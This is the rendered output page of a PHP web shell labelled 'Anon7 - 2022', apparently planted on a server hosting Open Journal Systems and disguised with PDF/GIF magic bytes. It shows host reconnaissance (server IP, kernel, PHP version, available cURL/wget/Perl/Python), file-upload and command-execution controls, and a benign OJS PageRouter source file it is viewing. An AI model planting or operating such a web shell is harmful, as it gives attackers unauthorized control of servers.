%PDF-1.7 GIF89;
shell
Server IP : 104.20.45.2  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/classes/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /app/classes/core/PageRouter.inc.php
<?php

/**
 * @file classes/core/PageRouter.inc.php
 *
 * Copyright (c) 2013-2019 Simon Fraser University
 * Copyright (c) 2003-2019 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class PageRouter
 * @ingroup core
 *
 * @brief Class providing OJS-specific page routing.
 */

import('lib.pkp.classes.core.PKPPageRouter');

class PageRouter extends PKPPageRouter {
	/**
	 * get the cacheable pages
	 * @return array
	 */
	function getCacheablePages() {
		return array('about', 'announcement', 'help', 'index', 'information', 'rt', 'issue', '');
	}

	/**
	 * Redirect to user home page (or the role home page if the user has one role).
	 * @param $request PKPRequest the request to be routed
	 */
	function redirectHome(&$request) {
		$roleDao =& DAORegistry::getDAO('RoleDAO');
		$user = $request->getUser();
		$userId = $user->getId();

		if ($journal =& $this->getContext($request, 1)) {
			// The user is in the journal context, see if they have one role only
			$roles =& $roleDao->getRolesByUserId($userId, $journal->getId());
			if(count($roles) == 1) {
				$role = array_shift($roles);
				if ($role->getRoleId() == ROLE_ID_READER) $request->redirect(null, 'index');
				$request->redirect(null, $role->getRolePath());
			} else {
				$request->redirect(null, 'user');
			}
		} else {
			// The user is at the site context, check to see if they are
			// only registered in one place w/ one role
			$journalDao =& DAORegistry::getDAO('JournalDAO');
			$journals =& $journalDao->getJournals();
			$roles = $roleDao->getRolesByUserId($userId);

			if(count($roles) == 1) {
				$role = array_shift($roles);
				$journal = $journalDao->getById($role->getJournalId());
				if (!isset($journal)) $request->redirect('index', 'user');;
				if ($role->getRoleId() == ROLE_ID_READER) $request->redirect(null, 'index');
				$request->redirect($journal->getPath(), $role->getRolePath());
			} else $request->redirect('index', 'user');
		}
	}
}

?>

Anon7 - 2022
SCDN GOK